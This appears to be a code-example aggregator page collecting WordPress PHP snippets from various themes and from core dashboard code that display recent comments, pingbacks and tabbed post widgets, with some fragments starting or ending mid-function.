Пример #1
0
    function et_list_pings($comment, $args, $depth)
    {
        $GLOBALS['comment'] = $comment;
        ?>
		<li id="comment-<?php 
        comment_ID();
        ?>
"><?php 
        comment_author_link();
        ?>
 - <?php 
        comment_excerpt();
        ?>
	<?php 
    }
Пример #2
0
    /**
     * recent_comments_4_my_posts
     */
    public static function recent_comments_4_my_posts()
    {
        ?>
		<!-- Recent comments for my posts -->
		<div class="dashboard-recent-comments-4-my-posts panel">
			<div class="heading">
				<i class="fa fa-comments"></i>
				<?php 
        echo ___('Recent comments for my posts');
        ?>
			</div>
			<?php 
        /**
         * get comments
         */
        $current_user_id = theme_cache::get_current_user_id();
        $comments = get_comments(['post_author' => $current_user_id, 'author__not_in' => [$current_user_id], 'number' => 5, 'status' => '1']);
        if (empty($comments)) {
            ?>
				<div class="content">
					<?php 
            echo status_tip('info', ___('No comment for your post yet'));
            ?>
				</div>
				<?php 
        } else {
            ?>
				<ul class="list-group">
					<?php 
            global $comment;
            foreach ($comments as $comment) {
                ?>
<li class="list-group-item">
	<div class="media">
		<div class="media-left media-top">
			<?php 
                $comment_author_url = get_comment_author_url();
                if ($comment_author_url) {
                    ?>
				<a 
					href="<?php 
                    echo esc_url($comment_author_url);
                    ?>
"
					<?php 
                    echo (int) $comment->user_id === 0 ? 'target="_blank"' : null;
                    ?>
				>
					<?php 
                    echo theme_cache::get_avatar($comment, 50);
                    ?>
				</a>
				<?php 
                } else {
                    echo theme_cache::get_avatar($comment, 50);
                }
                ?>
		</div>
		<div class="media-body">
			<h4 class="media-heading">
				<?php 
                echo sprintf(___('%s commented your post "%s".'), '<span class="author">' . get_comment_author_link() . '</span>', '<a href="' . theme_cache::get_permalink($comment->comment_post_ID) . '">' . theme_cache::get_the_title($comment->comment_post_ID) . '</a>');
                ?>
			</h4>
			<p class="excerpt-tx">
				<?php 
                comment_excerpt();
                ?>
			</p>
		</div><!-- /.media-body -->
	</div><!-- /.media -->
</li>
						<?php 
            }
            ?>
				</ul>
				<?php 
        }
        /** end have comment */
        ?>
		</div>
		<?php 
    }
    public function widget($args, $instance)
    {
        global $post;
        // setup_postdata not enough
        // set defaults
        $titles = $cats = $tax_tags = array();
        extract($args);
        extract($instance);
        // missing data?
        if (!count($titles) or !count($cats)) {
            _e('Recent tabs widget still need to be configured! Add tabs, add a title, and select type for each tab in widgets area.', 'bunyad-widgets');
            return;
        }
        $tabs = array();
        foreach ($titles as $key => $title) {
            // defaults missing?
            if (empty($tax_tags[$key])) {
                $tax_tags[$key] = '';
            }
            if (empty($cats[$key])) {
                $cats[$key] = '';
            }
            if (empty($posts[$key])) {
                $posts[$key] = !empty($number) ? $number : 0;
            }
            $tabs[$title] = array('cat_type' => $cats[$key], 'tag' => $tax_tags[$key], 'posts' => $posts[$key]);
        }
        // latest posts
        $posts = $this->get_posts($tabs);
        // do custom loop if available
        if (has_action('bunyad_widget_tabbed_recent_loop')) {
            $args['tabs'] = $tabs;
            do_action('bunyad_widget_tabbed_recent_loop', $args, $posts);
        } else {
            ?>
	
			<?php 
            echo $before_widget;
            ?>
	
			<ul class="tabs-list">
			
				<?php 
            $count = 0;
            foreach ($posts as $key => $val) {
                $count++;
                $active = $count == 1 ? 'active' : '';
                ?>
				
				<li class="<?php 
                echo $active;
                ?>
">
					<a href="#" data-tab="<?php 
                echo esc_attr($count);
                ?>
"><?php 
                echo $key;
                ?>
</a>
				</li>
				
				<?php 
            }
            ?>
				
			</ul>
			
			<div class="tabs-data">
				<?php 
            $i = 0;
            foreach ($posts as $tab => $tab_posts) {
                $i++;
                $active = $i == 1 ? 'active' : '';
                ?>
					
				<ul class="tab-posts <?php 
                echo $active;
                ?>
 posts-list" id="recent-tab-<?php 
                echo esc_attr($i);
                ?>
">
				
				<?php 
                if ($tabs[$tab] == 'comments') {
                    ?>
	
					<?php 
                    foreach ($tab_posts as $comment) {
                        ?>
					
					<li class="comment">
						
						<span class="author"><?php 
                        printf('%s said', get_comment_author_link($comment->comment_ID));
                        ?>
</span>
						
						<p class="text"><?php 
                        comment_excerpt($comment->comment_ID);
                        ?>
</p>
						
						<a href=""><?php 
                        echo get_the_title($comment->comment_post_ID);
                        ?>
</a>
					
					</li>
	
					<?php 
                    }
                    ?>
				
				
				<?php 
                } else {
                    ?>
				
					<?php 
                    while ($tab_posts->have_posts()) {
                        $tab_posts->the_post();
                        ?>
	
					<li>
					
						<a href="<?php 
                        the_permalink();
                        ?>
"><?php 
                        the_post_thumbnail('post-thumbnail', array('title' => strip_tags(get_the_title())));
                        ?>
	
						<?php 
                        if (class_exists('Bunyad') && Bunyad::options()->review_show_widgets) {
                            ?>
							<?php 
                            echo apply_filters('bunyad_review_main_snippet', '');
                            ?>
						<?php 
                        }
                        ?>
						
						</a>
						
						<div class="content">
						
							<?php 
                        echo Bunyad::blocks()->meta('above', 'tabbed-recent', array('type' => 'widget'));
                        ?>
						
							<a href="<?php 
                        the_permalink();
                        ?>
" title="<?php 
                        echo esc_attr(get_the_title() ? get_the_title() : get_the_ID());
                        ?>
">
								<?php 
                        if (get_the_title()) {
                            the_title();
                        } else {
                            the_ID();
                        }
                        ?>
</a>
								
							<?php 
                        echo Bunyad::blocks()->meta('below', 'tabbed-recent', array('type' => 'widget'));
                        ?>
								
							<?php 
                        if (class_exists('Bunyad') && Bunyad::options()->review_show_widgets) {
                            ?>
								<?php 
                            echo apply_filters('bunyad_review_main_snippet', '', 'stars');
                            ?>
							<?php 
                        }
                        ?>
																		
						</div>
					
					</li>
					
					<?php 
                    }
                    ?>
					
				<?php 
                }
                ?>
					
				</ul>
				<?php 
            }
            ?>
			
			</div>
			
			<?php 
            echo $after_widget;
            ?>
		
		<?php 
        }
        // end custom loop
        wp_reset_postdata();
        wp_reset_query();
    }
    <th scope="col">' . __('Comment Excerpt') . '</th>
	<th scope="col" colspan="3" style="text-align: center">' .  __('Actions') . '</th>
  </tr>
</thead>';
		foreach ($comments as $comment) {
		$authordata = get_userdata($wpdb->get_var("SELECT post_author FROM $wpdb->posts WHERE ID = $comment->comment_post_ID"));
		$comment_status = wp_get_comment_status($comment->comment_ID);
		$class = ('alternate' == $class) ? '' : 'alternate';
		$class .= ('unapproved' == $comment_status) ? ' unapproved' : '';
?>
  <tr id="comment-<?php echo $comment->comment_ID; ?>" class='<?php echo $class; ?>'>
    <td><?php if ( current_user_can('edit_post', $comment->comment_post_ID) ) { ?><input type="checkbox" name="delete_comments[]" value="<?php echo $comment->comment_ID; ?>" /><?php } ?></td>
    <td><?php comment_author_link() ?></td>
    <td><?php comment_author_email_link() ?></td>
    <td><a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<?php comment_author_IP() ?>"><?php comment_author_IP() ?></a></td>
    <td><?php comment_excerpt(); ?></td>
    <td>
    	<?php if ('unapproved' == $comment_status) { ?>
    		(Unapproved)
    	<?php } else { ?>
    		<a href="<?php echo get_permalink($comment->comment_post_ID); ?>#comment-<?php comment_ID() ?>" class="edit"><?php _e('View') ?></a>
    	<?php } ?>
    </td>
    <td><?php if ( current_user_can('edit_post', $comment->comment_post_ID) ) {
	echo "<a href='comment.php?action=editcomment&amp;c=$comment->comment_ID' class='edit'>" .  __('Edit') . "</a>"; } ?></td>
    <td><?php if ( current_user_can('edit_post', $comment->comment_post_ID) ) {
		echo "<a href=\"comment.php?action=deletecomment&amp;p=".$comment->comment_post_ID."&amp;c=".$comment->comment_ID."\" onclick=\"return deleteSomething( 'comment', $comment->comment_ID, '" . js_escape(sprintf(__("You are about to delete this comment by '%s'. \n  'Cancel' to stop, 'OK' to delete."), $comment->comment_author ))  . "', theCommentList );\" class='delete'>" . __('Delete') . "</a> ";
		} ?></td>
  </tr>
		<?php 
		} // end foreach
function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
	$GLOBALS['comment'] =& $comment;

	$comment_post_url = get_edit_post_link( $comment->comment_post_ID );
	$comment_post_title = _draft_or_post_title( $comment->comment_post_ID );
	$comment_post_link = "<a href='$comment_post_url'>$comment_post_title</a>";
	$comment_link = '<a class="comment-link" href="' . esc_url(get_comment_link()) . '">#</a>';

	$actions_string = '';
	if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		// preorder it: Approve | Reply | Edit | Spam | Trash
		$actions = array(
			'approve' => '', 'unapprove' => '',
			'reply' => '',
			'edit' => '',
			'spam' => '',
			'trash' => '', 'delete' => ''
		);

		$del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );

		$approve_url = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$spam_url = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$trash_url = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$delete_url = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );

		$actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
		$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
		$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . esc_attr__('Edit comment') . "'>". __('Edit') . '</a>';
		$actions['reply'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\');return false;" class="vim-r hide-if-no-js" title="'.esc_attr__('Reply to this comment').'" href="#">' . __('Reply') . '</a>';
		$actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' title='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>';
		if ( !EMPTY_TRASH_DAYS )
			$actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>';
		else
			$actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' title='" . esc_attr__( 'Move this comment to the trash' ) . "'>" . _x('Trash', 'verb') . '</a>';

		$actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment );

		$i = 0;
		foreach ( $actions as $action => $link ) {
			++$i;
			( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';

			// Reply and quickedit need a hide-if-no-js span
			if ( 'reply' == $action || 'quickedit' == $action )
				$action .= ' hide-if-no-js';

			$actions_string .= "<span class='$action'>$sep$link</span>";
		}
	}

?>

		<div id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status($comment->comment_ID) ) ); ?>>
			<?php if ( !$comment->comment_type || 'comment' == $comment->comment_type ) : ?>

			<?php echo get_avatar( $comment, 50, 'mystery' ); ?>

			<div class="dashboard-comment-wrap">
			<h4 class="comment-meta">
				<?php printf( /* translators: 1: comment author, 2: post link, 3: notification if the comment is pending */__( 'From %1$s on %2$s%3$s' ),
					'<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link.' '.$comment_link, ' <span class="approve">' . __( '[Pending]' ) . '</span>' ); ?>
			</h4>

			<?php
			else :
				switch ( $comment->comment_type ) :
				case 'pingback' :
					$type = __( 'Pingback' );
					break;
				case 'trackback' :
					$type = __( 'Trackback' );
					break;
				default :
					$type = ucwords( $comment->comment_type );
				endswitch;
				$type = esc_html( $type );
			?>
			<div class="dashboard-comment-wrap">
			<?php /* translators: %1$s is type of comment, %2$s is link to the post */ ?>
			<h4 class="comment-meta"><?php printf( _x( '%1$s on %2$s', 'dashboard' ), "<strong>$type</strong>", $comment_post_link." ".$comment_link ); ?></h4>
			<p class="comment-author"><?php comment_author_link(); ?></p>

			<?php endif; // comment_type ?>
			<blockquote><p><?php comment_excerpt(); ?></p></blockquote>
			<p class="row-actions"><?php echo $actions_string; ?></p>
			</div>
		</div>
<?php
}
Пример #6
0
    /**
     * Display Recent Comments
     *
     * @since Fastfood 0.37
     */
    function qbar_recent_comments()
    {
        $args = array('status' => 'approve', 'number' => apply_filters('fastfood_filter_get_recentcomments_number', absint(FastfoodOptions::get_opt('fastfood_qbar_reccom_length'))), 'type' => 'comment');
        $comments = get_comments($args);
        // valid type values (not documented) : 'pingback','trackback','comment'
        if ($comments) {
            ?>

				<ul class="solid_ul">

					<?php 
            foreach ($comments as $comment) {
                //if( post_password_required( get_post( $comment->comment_post_ID ) ) ) { continue; } // uncomment to skip comments on protected posts. Hi Emma ;)
                $post = get_post($comment->comment_post_ID);
                setup_postdata($post);
                $post_title_short = mb_strimwidth(get_the_title($post->ID), 0, 35, '&hellip;');
                if (post_password_required($post)) {
                    //hide comment author in protected posts
                    $com_auth = __('someone', 'fastfood');
                } else {
                    //trim the comment author if > 20 chars
                    $com_auth = mb_strimwidth($comment->comment_author, 0, 20, '&hellip;');
                }
                ?>

								<li>
									<?php 
                echo sprintf('<span class="label">' . apply_filters('fastfood_filter_comment_by', __('%1$s about %2$s', 'fastfood')) . '</span>', $com_auth, fastfood_build_link(array('href' => get_comment_link($comment), 'text' => $post_title_short)));
                ?>
									<div class="quickbar-panel-subcontent">
										<div class="quickbar-panel-title"><i class="el-icon-eye-open"></i></div>
											<div class="preview">
												<?php 
                if (post_password_required($post)) {
                    echo '<i class="el-icon-lock"></i> [' . __('No preview: this is a comment of a protected post', 'fastfood') . ']';
                } else {
                    echo get_avatar($comment, 32);
                    comment_excerpt($comment->comment_ID);
                }
                ?>
											</div>
									</div>
								</li>

							<?php 
            }
            ?>

				</ul>

			<?php 
        } else {
            ?>

				<ul>
					<li><?php 
            _e('No comments yet.', 'fastfood');
            ?>
</li>
				</ul>

			<?php 
        }
        wp_reset_postdata();
    }
Пример #7
0
/**
 * @global WP_Comment $comment
 *
 * @param WP_Comment $comment
 * @param bool       $show_date
 */
function _wp_dashboard_recent_comments_row(&$comment, $show_date = true)
{
    $GLOBALS['comment'] = clone $comment;
    if ($comment->comment_post_ID > 0 && current_user_can('edit_post', $comment->comment_post_ID)) {
        $comment_post_title = _draft_or_post_title($comment->comment_post_ID);
        $comment_post_url = get_edit_post_link($comment->comment_post_ID);
        $comment_post_link = "<a href='{$comment_post_url}'>{$comment_post_title}</a>";
    } else {
        $comment_post_link = '';
    }
    $actions_string = '';
    if (current_user_can('edit_comment', $comment->comment_ID)) {
        // Pre-order it: Approve | Reply | Edit | Spam | Trash.
        $actions = array('approve' => '', 'unapprove' => '', 'reply' => '', 'edit' => '', 'spam' => '', 'trash' => '', 'delete' => '', 'view' => '');
        $del_nonce = esc_html('_wpnonce=' . wp_create_nonce("delete-comment_{$comment->comment_ID}"));
        $approve_nonce = esc_html('_wpnonce=' . wp_create_nonce("approve-comment_{$comment->comment_ID}"));
        $approve_url = esc_url("comment.php?action=approvecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$approve_nonce}");
        $unapprove_url = esc_url("comment.php?action=unapprovecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$approve_nonce}");
        $spam_url = esc_url("comment.php?action=spamcomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $trash_url = esc_url("comment.php?action=trashcomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $delete_url = esc_url("comment.php?action=deletecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $actions['approve'] = "<a href='{$approve_url}' data-wp-lists='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' title='" . esc_attr__('Approve this comment') . "'>" . __('Approve') . '</a>';
        $actions['unapprove'] = "<a href='{$unapprove_url}' data-wp-lists='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' title='" . esc_attr__('Unapprove this comment') . "'>" . __('Unapprove') . '</a>';
        $actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . esc_attr__('Edit comment') . "'>" . __('Edit') . '</a>';
        $actions['reply'] = '<a onclick="window.commentReply && commentReply.open(\'' . $comment->comment_ID . '\',\'' . $comment->comment_post_ID . '\');return false;" class="vim-r hide-if-no-js" title="' . esc_attr__('Reply to this comment') . '" href="#">' . __('Reply') . '</a>';
        $actions['spam'] = "<a href='{$spam_url}' data-wp-lists='delete:the-comment-list:comment-{$comment->comment_ID}::spam=1' class='vim-s vim-destructive' title='" . esc_attr__('Mark this comment as spam') . "'>" . _x('Spam', 'verb') . '</a>';
        if (!EMPTY_TRASH_DAYS) {
            $actions['delete'] = "<a href='{$delete_url}' data-wp-lists='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1' class='delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>';
        } else {
            $actions['trash'] = "<a href='{$trash_url}' data-wp-lists='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1' class='delete vim-d vim-destructive' title='" . esc_attr__('Move this comment to the trash') . "'>" . _x('Trash', 'verb') . '</a>';
        }
        if ('1' === $comment->comment_approved) {
            $actions['view'] = '<a class="comment-link" href="' . esc_url(get_comment_link($comment)) . '">' . _x('View', 'verb') . '</a>';
        }
        /**
         * Filter the action links displayed for each comment in the 'Recent Comments'
         * dashboard widget.
         *
         * @since 2.6.0
         *
         * @param array      $actions An array of comment actions. Default actions include:
         *                            'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam',
         *                            'Delete', and 'Trash'.
         * @param WP_Comment $comment The comment object.
         */
        $actions = apply_filters('comment_row_actions', array_filter($actions), $comment);
        $i = 0;
        foreach ($actions as $action => $link) {
            ++$i;
            ('approve' == $action || 'unapprove' == $action) && 2 === $i || 1 === $i ? $sep = '' : ($sep = ' | ');
            // Reply and quickedit need a hide-if-no-js span
            if ('reply' == $action || 'quickedit' == $action) {
                $action .= ' hide-if-no-js';
            }
            $actions_string .= "<span class='{$action}'>{$sep}{$link}</span>";
        }
    }
    ?>

		<div id="comment-<?php 
    echo $comment->comment_ID;
    ?>
" <?php 
    comment_class(array('comment-item', wp_get_comment_status($comment)), $comment);
    ?>
>

			<?php 
    echo get_avatar($comment, 50, 'mystery');
    ?>

			<?php 
    if (!$comment->comment_type || 'comment' == $comment->comment_type) {
        ?>

			<div class="dashboard-comment-wrap has-row-actions">
			<h4 class="comment-meta">
				<?php 
        if ($comment_post_link) {
            printf(__('From %1$s on %2$s%3$s'), '<cite class="comment-author">' . get_comment_author_link($comment) . '</cite>', $comment_post_link, ' <span class="approve">' . __('[Pending]') . '</span>');
        } else {
            printf(__('From %1$s %2$s'), '<cite class="comment-author">' . get_comment_author_link($comment) . '</cite>', ' <span class="approve">' . __('[Pending]') . '</span>');
        }
        ?>
			</h4>

			<?php 
    } else {
        switch ($comment->comment_type) {
            case 'pingback':
                $type = __('Pingback');
                break;
            case 'trackback':
                $type = __('Trackback');
                break;
            default:
                $type = ucwords($comment->comment_type);
        }
        $type = esc_html($type);
        ?>
			<div class="dashboard-comment-wrap has-row-actions">
			<?php 
        /* translators: %1$s is type of comment, %2$s is link to the post */
        ?>
			<h4 class="comment-meta"><?php 
        printf(_x('%1$s on %2$s', 'dashboard'), "<strong>{$type}</strong>", $comment_post_link);
        ?>
</h4>
			<p class="comment-author"><?php 
        comment_author_link($comment);
        ?>
</p>

			<?php 
    }
    // comment_type
    ?>
			<blockquote><p><?php 
    comment_excerpt($comment);
    ?>
</p></blockquote>
			<p class="row-actions"><?php 
    echo $actions_string;
    ?>
</p>
			</div>
		</div>
<?php 
    $GLOBALS['comment'] = null;
}
Пример #8
0
$comments = get_comments('post_id=' . get_the_ID());
$trackbacks_number = 0;
foreach ($comments as $comment) {
    if ($comment->comment_type == "trackback" || $comment->comment_type == "pingback") {
        ?>
    <li id="comment-<?php 
        comment_ID();
        ?>
" class="group">
        <cite><?php 
        comment_author_link();
        ?>
</cite>
    	<br/>
    	<?php 
        comment_excerpt();
        ?>
    </li>
    <?php 
        $trackbacks_number++;
    }
}
?>
</ol>
<?php 
if ($trackbacks_number == 0) {
    ?>
<p><em><?php 
    _e('No trackback or pingback available for this article.', 'yit');
    ?>
</em></p><?php 
Пример #9
0
 public function widget($args, $instance)
 {
     global $comments, $comment;
     $cache = array();
     if (!$this->is_preview()) {
         $cache = wp_cache_get('widget_recent_comments', 'widget');
     }
     if (!is_array($cache)) {
         $cache = array();
     }
     if (!isset($args['widget_id'])) {
         $args['widget_id'] = $this->id;
     }
     if (isset($cache[$args['widget_id']])) {
         echo balanceTags($cache[$args['widget_id']]);
         return;
     }
     $output = '';
     $title = !empty($instance['title']) ? $instance['title'] : __('Recent Comments', ST_TEXTDOMAIN);
     /** This filter is documented in wp-includes/default-widgets.php */
     $title = apply_filters('widget_title', $title, $instance, $this->id_base);
     $number = !empty($instance['number']) ? absint($instance['number']) : 5;
     if (!$number) {
         $number = 5;
     }
     /**
      * Filter the arguments for the Recent Comments widget.
      *
      * @since 3.4.0
      *
      * @see get_comments()
      *
      * @param array $comment_args An array of arguments used to retrieve the recent comments.
      */
     $comments = get_comments(apply_filters('widget_comments_args', array('number' => $number, 'status' => 'approve', 'post_status' => 'publish')));
     $output .= $args['before_widget'];
     if ($title) {
         $output .= $args['before_title'] . $title . $args['after_title'];
     }
     $output .= '<ul class="thumb-list thumb-list-right">';
     if ($comments) {
         // Prime cache for associated posts. (Prime post term cache if we need it for permalinks.)
         $post_ids = array_unique(wp_list_pluck($comments, 'comment_post_ID'));
         _prime_post_caches($post_ids, strpos(get_option('permalink_structure'), '%category%'), false);
         foreach ((array) $comments as $comment) {
             $avatar = st_get_profile_avatar($comment->user_id, 50);
             $output .= '<li class="recentcomments">';
             $output .= '
                  ' . $avatar . '
                     ';
             $output .= '<div class="thumb-list-item-caption">
                 <p class="thumb-list-item-meta"><a href="' . esc_url(get_comment_link($comment->comment_ID)) . '">' . human_time_diff(get_comment_time('U'), current_time('timestamp')) . __(' ago', ST_TEXTDOMAIN) . '</a> </p>
                 <h4 class="thumb-list-item-title">
                 ' . sprintf(__('%s', ST_TEXTDOMAIN), sprintf('<cite class="fn">%s</cite>', get_comment_author_link())) . '
                 </h4>
         </div>';
             ob_start();
             comment_excerpt();
             $comment_excerpt = @ob_get_clean();
             $output .= '<p class="thumb-list-item-desciption">' . $comment_excerpt . '</p>';
             $output .= '</li>';
         }
     }
     $output .= '</ul>';
     $output .= $args['after_widget'];
     echo balanceTags($output);
     if (!$this->is_preview()) {
         $cache[$args['widget_id']] = $output;
         wp_cache_set('widget_recent_comments', $cache, 'widget');
     }
 }
Пример #10
0
    /**
     * Outputs the widget based on the arguments input through the widget controls.
     *
     * @since  1.0.0
     * @access public
     * @param  array  $sidebar
     * @param  array  $instance
     * @return void
     */
    function widget($sidebar, $instance)
    {
        $args = wp_parse_args($instance, $this->defaults);
        /* Set up tabs. */
        $tabs = array();
        if (0 < $args['recent_posts_number']) {
            $tabs['recent'] = __('Recent Posts', 'ravel');
        }
        if (0 < $args['popular_posts_number']) {
            $tabs['popular'] = __('Popular Posts', 'ravel');
        }
        if (0 < $args['recent_comments_number']) {
            $tabs['comments'] = __('Recent Comments', 'ravel');
        }
        if (0 < $args['tag_cloud_number']) {
            $tabs['tags'] = __('Tags', 'ravel');
        }
        if (empty($tabs)) {
            return;
        }
        /* Output the sidebar's $before_widget wrapper. */
        echo $sidebar['before_widget'];
        /* If a title was input by the user, display it. */
        if (!empty($args['title'])) {
            echo $sidebar['before_title'] . apply_filters('widget_title', $args['title'], $instance, $this->id_base) . $sidebar['after_title'];
        }
        ?>

		<ul class="tabs-nav">
			<?php 
        foreach ($tabs as $tab => $label) {
            ?>
				<?php 
            printf('<li class="tab-%s tab-title"><a href="#%s" title="%3$s"><span>%3$s</span></a></li>', esc_attr($tab), esc_attr("{$this->id_base}-{$tab}"), esc_attr($label));
            ?>
			<?php 
        }
        ?>
		</ul><!-- .tabs-nav -->

		<div class="tabs-container">

			<?php 
        if (0 < $args['recent_posts_number']) {
            ?>

				<?php 
            $loop = new WP_Query(array('posts_per_page' => $args['recent_posts_number'], 'ignore_sticky_posts' => true));
            ?>

				<ul id="<?php 
            echo esc_attr($this->id_base);
            ?>
-recent" class="tabs-panel">

					<?php 
            while ($loop->have_posts()) {
                ?>

						<?php 
                $loop->the_post();
                ?>

						<li>
							<?php 
                get_the_image(array('size' => 'post-thumbnail', 'before' => '<div class="tab-thumbnail">', 'after' => '</div>'));
                ?>

							<div class="tab-content">

								<div class="tab-post-format">
									<?php 
                hybrid_post_format_link();
                ?>
								</div><!-- .tab-post-format -->

								<?php 
                the_title('<div class="tab-title"><a href="' . get_permalink() . '">', '</a></div>');
                ?>

								<div class="tab-date"><?php 
                echo get_the_date();
                ?>
</div>

							</div><!-- .tab-content -->
						</li>

					<?php 
            }
            ?>
				</ul>

			<?php 
        }
        // End check to display recent posts.
        ?>

			<?php 
        if (0 < $args['popular_posts_number']) {
            ?>

				<?php 
            $loop = new WP_Query(array('posts_per_page' => $args['popular_posts_number'], 'orderby' => 'comment_count', 'ignore_sticky_posts' => true, 'date_query' => array(array('after' => 1 === $args['popular_past_months'] ? '1 month ago' : sprintf('%s months ago', $args['popular_past_months'])))));
            ?>

				<ul id="<?php 
            echo esc_attr($this->id_base);
            ?>
-popular" class="tabs-panel">

					<?php 
            while ($loop->have_posts()) {
                ?>

						<?php 
                $loop->the_post();
                ?>

						<li>
							<?php 
                get_the_image(array('size' => 'post-thumbnail', 'before' => '<div class="tab-thumbnail">', 'after' => '</div>'));
                ?>

							<div class="tab-content">

								<div class="tab-post-format">
									<?php 
                hybrid_post_format_link();
                ?>
								</div><!-- .tab-post-format -->

								<?php 
                the_title('<div class="tab-title"><a href="' . get_permalink() . '">', '</a></div>');
                ?>

								<div class="tab-date"><?php 
                echo get_the_date();
                ?>
</div>

							</div><!-- .tab-content -->
						</li>

					<?php 
            }
            ?>
				</ul>

			<?php 
        }
        // End popular posts check.
        ?>

			<?php 
        if (0 < $args['recent_comments_number']) {
            ?>

				<?php 
            $comments = get_comments(array('number' => $args['recent_comments_number'], 'status' => 'approve'));
            ?>

				<?php 
            if (!empty($comments)) {
                ?>

					<ul id="<?php 
                echo esc_attr($this->id_base);
                ?>
-comments" class="tabs-panel">

						<?php 
                foreach ($comments as $comment) {
                    ?>

							<li>
								<div class="tab-thumbnail avatar">
									<?php 
                    printf('<a href="%s">%s</a>', esc_url(get_comment_link($comment->comment_ID)), get_avatar($comment->comment_author_email, 96));
                    ?>
								</div>

								<div class="tab-content">
									<div class="tab-author">
										<cite><?php 
                    comment_author($comment->comment_ID);
                    ?>
</cite>
									</div>
									<div class="tab-comment">
										<a href="<?php 
                    echo esc_url(get_comment_link($comment->comment_ID));
                    ?>
">
											<?php 
                    comment_excerpt($comment->comment_ID);
                    ?>
										</a>
									</div>	
								</div><!-- .tab-content -->
							</li>

						<?php 
                }
                ?>

					</ul><!--.tabs-panel-->

				<?php 
            }
            // End if have comments check.
            ?>

			<?php 
        }
        // End check for comments display.
        ?>

			<?php 
        if (0 < $args['tag_cloud_number']) {
            ?>

				<ul id="<?php 
            echo esc_attr($this->id_base);
            ?>
-tags" class="tabs-panel">
					<li>
						<?php 
            wp_tag_cloud(array('number' => $args['tag_cloud_number']));
            ?>
					</li>
				</ul><!-- .tabs-panel -->

			<?php 
        }
        // End check for display of tag cloud.
        ?>

		</div><!-- .tabs-container -->
		<?php 
        /* Close the sidebar's widget wrapper. */
        echo $sidebar['after_widget'];
    }
function wp_dashboard_recent_comments($sidebar_args)
{
    global $comment;
    extract($sidebar_args, EXTR_SKIP);
    echo $before_widget;
    echo $before_title;
    echo $widget_name;
    echo $after_title;
    $lambda = create_function('', 'return 5;');
    add_filter('option_posts_per_rss', $lambda);
    // hack - comments query doesn't accept per_page parameter
    $comments_query = new WP_Query('feed=rss2&withcomments=1');
    remove_filter('option_posts_per_rss', $lambda);
    $is_first = true;
    if ($comments_query->have_comments()) {
        while ($comments_query->have_comments()) {
            $comments_query->the_comment();
            $comment_post_url = get_permalink($comment->comment_post_ID);
            $comment_post_title = get_the_title($comment->comment_post_ID);
            $comment_post_link = "<a href='{$comment_post_url}'>{$comment_post_title}</a>";
            $comment_link = '<a class="comment-link" href="' . get_comment_link() . '">#</a>';
            $comment_meta = sprintf(__('From <strong>%1$s</strong> on %2$s %3$s'), get_comment_author(), $comment_post_link, $comment_link);
            if ($is_first) {
                $is_first = false;
                ?>
				<blockquote><p>&#8220;<?php 
                comment_excerpt();
                ?>
&#8221;</p></blockquote>
				<p class='comment-meta'><?php 
                echo $comment_meta;
                ?>
</p>
<?php 
                if ($comments_query->comment_count > 1) {
                    ?>
				<ul id="dashboard-comments-list">
<?php 
                }
                // comment_count
            } else {
                // is_first
                ?>

					<li class='comment-meta'><?php 
                echo $comment_meta;
                ?>
</li>
<?php 
            }
            // is_first
        }
        if ($comments_query->comment_count > 1) {
            ?>
				</ul>
<?php 
        }
